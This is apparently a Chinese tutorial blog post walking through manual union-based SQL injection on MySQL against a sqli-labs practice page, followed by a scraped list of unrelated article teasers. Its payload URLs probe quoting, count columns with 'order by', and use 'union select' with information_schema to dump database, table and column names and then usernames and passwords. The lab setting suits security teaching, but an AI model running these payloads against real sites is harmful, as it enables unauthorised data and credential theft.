mysql 手工sql注入_【sql注入专题02】Mysql手工注入流程
0x00 SQL注入的语句介绍
SQL注入的本质
sql注入的本质就是查询某个数据库下的某个表中的某些字段的内容,比如我们平时在数据库查询一条数据时操作。
mysql> use security; //进入一个数据库
mysql> select user,pwd from users limit 0,1;//查询users表中字段为user和pwd的内容
从上面的操作中我们可以看出,要查询出数据的内容,需要知道数据库名称,数据库中的表名称,数据库中表的字段名。
在Mysql 5.0以上的版本中,为了方便管理,默认定义了information_schema数据库,用来存储数据库元信息。其中的表schemata(所有的数据库名)、表tables(所有的表名)、表columns(所有的列名)。
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| challenges | |
| mysql |
| performance_schema |
| security |
+--------------------+
下面通过sql语句从information_schema数据库查询出数据库名称,数据库中的表名称,数据库中表的字段名。
查询所有的数据库名称
mysql> select schema_name from information_schema.schemata;
+--------------------+
| schema_name |
+--------------------+
| information_schema |
| challenges | |
| mysql |
| performance_schema |
| security |
+--------------------+
5 rows in set (0.00 sec)
查security数据库中的表名
我们挑选一个数据库security来查询其中的表名
mysql> select table_name from information_schema.tables where table_schema="security";
+------------+
| table_name |
+------------+
| emails |
| referers |
| uagents |
| users |
+------------+
4 rows in set (0.00 sec)
查询users数据表中列的字段名
一般都是user表中存有用户/管理员的账号密码
mysql> select column_name from information_schema.columns where table_name='users';
+-------------+
| column_name |
+-------------+
| id |
| username |
| password |
+-------------+
3 rows in set (0.13 sec)
查询数据
知道了数据库名,表名,列名,可以直接查询数据了。
mysql> select username,password from security.users limit 7,7;
+----------+----------+
| username | password |
+----------+----------+
| admin | admin |
| admin1 | admin1 |
| admin2 | admin2 |
| admin3 | admin3 |
| dhakkan | dumbo |
| admin4 | admin4 |
+----------+----------+
6 rows in set (0.11 sec)
我们知道如何查询数据了,接下来所要做的就是把这些查询语句注入到正常的业务sql语句中,并将结果返回到页面。
0x01 SQL注入流程
1.确认注入点
我们通过操作传入的参数,并根据页面的反馈判断是否存在SQL注入。
http://192.168.181.134/Less-1/?id=1
1.控制传入的参数使查询结果报错,让mysql查询的语法错误,即可报错。一般会用单引号,双引号等尝试。
至于用单引号和双引号,我们只能控制查询的参数,mysql在查询时单引号或者双引号没有闭合会报错。
mysql> select * from users where id='1'\';
ERROR:
Unknown command '\''.
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1
mysql>
存在报错(下图),意味着我们的单引号被带入查询语句,此时判断可能存在注入,需要进一步逻辑判断。
http://192.168.181.134/Less-1/?id=1'
存在报错, 也意味着我们确认后台查询参数为单引号或者双引号字符,方便闭合。
SELECT * FROM users WHERE id='$id' 或者 SELECT * FROM users WHERE id="$id"
2.通过闭合单引号,执行真条件的逻辑语句,能返回查询到对应的结果。
下语句中1后面跟单引号时用来闭合前面的单引号,--+是用来注释掉后面的语句。
192.168.181.134/Less-1/?id=1' and 1=1--+
3.通过闭合单引号,执行假条件的逻辑语句,能返回查询到对应的结果。
192.168.181.134/Less-1/?id=1' and 1=2--+
2.确认当前SQL语句的列数
为什么要确认当前SQL语句列数,为下一步union 联合查询做准备
之所以用order by确认表的列数;order by是对查询出的某列的数据进行排序,默认是正序。
超出列的个数,sql语句会报错。下表中,order by 对第三列password 查询内容进行排序,当order by 对第四列查询内容排序时,sql语句会报错,没有结果。
mysql> select id,username,password from users order by 3;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 14 | admin4 | admin4 |
| 4 | secure | crappy |
| 1 | Dumb | Dumb |
| 12 | dhakkan | dumbo |
| 6 | superman | genious |
| 2 | Angelina | I-kill-you |
| 7 | batman | mob!le |
| 3 | Dummy | p@ssword |
| 5 | stupid | stupidity |
+----+----------+------------+
13 rows in set (0.00 sec)
mysql> select id,username,password from users order by 4;
ERROR 1054 (42S22): Unknown column '4' in 'order clause'
192.168.181.134/Less-1/?id=1' order by 3--+
192.168.181.134/Less-1/?id=1' order by 4--+
说明当前sql语句只查询了三列。
使用UNION注入查询语句
UNION操作符介绍
UNION 操作符用于合并两个或多个 SELECT 语句的结果集;
UNION 内部的 SELECT 语句必须拥有相同数量的列;这个就是为什么要知道当前SQL语句查询列数;
下表中第一条语句,报错提示,union 连接的2个select语句必须 有相同数量的列;第二条语句正确。
mysql> select id,username,password from users union select 1;
ERROR 1222 (21000): The used SELECT statements have a different number of columns
mysql> select id,username,password from users where id=1 union select 1,2,user() ;
+----+----------+----------------+
| id | username | password |
+----+----------+----------------+
| 1 | Dumb | Dumb |
| 1 | 2 | root@localhost |
+----+----------+----------------+
2 rows in set (0.00 sec)
一般情况我们希望自己注入的SQL语句返回结果,让第一个select查询不到结果即可(即id=-1)。
mysql> select id,username,password from users where id=-1 union select 1,2,user() ;
+----+----------+----------------+
| id | username | password |
+----+----------+----------------+
| 1 | 2 | root@localhost |
+----+----------+----------------+
1 row in set (0.12 sec)
http://192.168.181.134/Less-1/?id=-1' union select 1,2,3--+
上图中显示2,3表示为显示位;
http://192.168.181.134/Less-1/?id=-1' union select 1,user(),version()--+
3.使用union注入所有数据库名查询
我们在SQL注入语句中介绍了查询所有数据库,表,字段的语句,通过UNION注入进去。
http://192.168.181.134/Less-1/?id=-1' union select 1,2,group_concat(schema_name) schema_name from information_schema.schemata--+
查询到的数据库名
information_schema,challenges,hd,mysql,performance_schema,security
4.使用union注入数据库security中的表名查询
http://192.168.181.134/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="security";--+
查询到的数据表的名
emails,referers,uagents,users
5.使用union注入数据表users中的字段查询
http://192.168.181.134/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users';--+
查询到的字段名
id,username,password
6.使用union注入字段username和password内容查询
http://192.168.181.134/Less-1/?id=-1' union select 1,2,group_concat(username,0x5c,password) from users--+
查询到的数据内容 账号\密码
Dumb\Dumb,Angelina\I-kill-you,Dummy\p@ssword,secure\crappy,stupid\stupidity,superman\genious,batman\mob!le,admin\admin,admin1\admin1,admin2\admin2,admin3\admin3,dhakkan\dumbo,admin4\admin4
0x02 SQL手工注入总结
sql注入的基本步骤大致就是确认注入点-->查数据库-->查表-->查数据;
SQL注入的类型不同,每一个步骤存在大同小异;
SQL注入的扩展攻击,如读写文件,提权;
后续的教程继续跟进;
mysql 手工sql注入_【sql注入专题02】Mysql手工注入流程相关推荐
- c语言连接数据库例子,c语言操作mysql数据库小例子_互帮互助(C language MySQL database operation example _ mutual help).doc...
这是精心收集的精品经典资料,值得下载保存阅读! c语言操作mysql数据库小例子_互帮互助(C language MySQL database operation example _ mutual h ...
- sql 临时表_深度分析 | JDBC与MySQL临时表空间的分析
原创作者:爱可生开源社区 背景 应用 JDBC 连接参数采用 useCursorFetch=true,查询结果集存放在 mysqld 临时表空间中,导致ibtmp1 文件大小暴增到90多G,耗尽服务器 ...
- python拼接sql语句_【Python】拼接MySQL常用语句
import pymysql class MK_sql (): """ 构建mySQL常见语句:增删改查排序 """ def __init_ ...
- laravel mysql注入_详解 Laravel 中的依赖注入和 IoC
Laravel 作为开发者,我们一直在尝试通过使用设计模式和尝试新的健壮型框架来寻找新的方式来编写设计良好且健壮的代码.在本篇文章中,我们将通过 Laravel 的 IoC 组件探索依赖注入设计模式, ...
- mysql子查询缺点_[慢查优化]慎用MySQL子查询,尤其是看到DEPENDENT SUBQUERY标记时
它的执行计划如下,请注意看关键词"DEPENDENT SUBQUERY": id select_type table type poss ...
- golang mysql商业用例_完美起航-golang操作mysql用例
golang操作mysql的demo,直接上代码 package main import ( "database/sql" "fmt" _ "gith ...
- ubuntu安装mysql 密码忘了怎么办_在ubuntu上面安装mysql都密码忘记及一些常用命令...
重改密码! # /etc/init.d/mysql stop # mysqld_safe --user=mysql --skip-grant-tables --skip-networking & ...
- mysql 系统表 存储过程_数据库系统(六)---MySQL语句及存储过程
1.存储过程是一组为了完成某项特定功能的 SQL 语句集,其实质上就是一段存储在数据库中的代码,它可以由声明式的 SQL 语句(如 CREATE.UPDATE 和SELECT 等语句)和过程式 SQL ...
- c mysql备份还原数据库_如何备份和还原MySQL数据库?
MySQL是一个永久存储数据的数据库服务器.如果使用MySQLServer,那么需要创建数据库备份以便从崩溃中恢复.mysql提供了一个用于备份的实用程序mysqldump.在本文中,将介绍关注与.s ...
- mysql 2003报错_为什么不建议在 MySQL 中使用 UTF-8?
正文 记得去年我在往MySQL存入emoji表情 时,一直出错,无法导入.后来找到办法 -- 通过把 utf8 改成 utf8mb4 就可以了,并没有深究. 一年后,我看到一篇文章讲到emoji文字占 ...
最新文章
- 是我太天真之被BUG按在地上疯狂摩擦
- 打开指定大小的新窗口
- 关于char[]转换成LPCWSTR的有关问题
- c语言中闰年的流程图_C语言-算法与流程图
- 王融(1979-),女,中国信息通信研究院互联网法律中心副主任、高级工程师...
- [leetcode]1.两数之和
- QTP的飞机登录描述性编程
- SpringMVC源码阅读:定位Controller
- dos.ORM配置和使用
- NBU3.2及以上版本收集DataCollect和NBSU等日志的统一方法
- appium安装教程
- c语言粗大误差程序框图,《粗大误差C语言程序.doc
- 云计算虚拟化技术和容器技术
- cisco服务器桌面命令行窗口,WLC调试和显示命令
- 软件工程复试面试问题总结(二)
- 什么是遥控灯开关:工作及其应用解析
- 如何在html中播放本地视频文件【兼容ie、火狐、谷歌、360浏览器等】
- 【自动化办公】python批量替换word中的内容
- 【0022】没办法,你只能从“糟糕的”产品经理做起
- 信管家源代码c语言,AK老唐信管家软件指标 宝塔线副图源码
热门文章
- 搜狗搜索App停止服务
- 读书笔记-人月神话15
- C++核心之类和对象——对象的初始化和清理下P110-P113
- 洛谷刷题C语言:陶瓷项链、Cow Gymnastics B、Where Am I? B、Hello, 2020!、SIR 模型
- mysql查询and和or同时使用
- kakaotalk Id别人突然搜索不到,加入开放聊天室被封 KakaoTalk 被封 Kakaotalk临时禁用Kakao被团队临时禁用 kakaoTalk无法连接服务器
- 炫龙笔记本安装Ubantu系统
- PAT乙级 1048. 数字加密(20)
- vimdiff对比文件夹
- 明代文学类毕业论文文献都有哪些?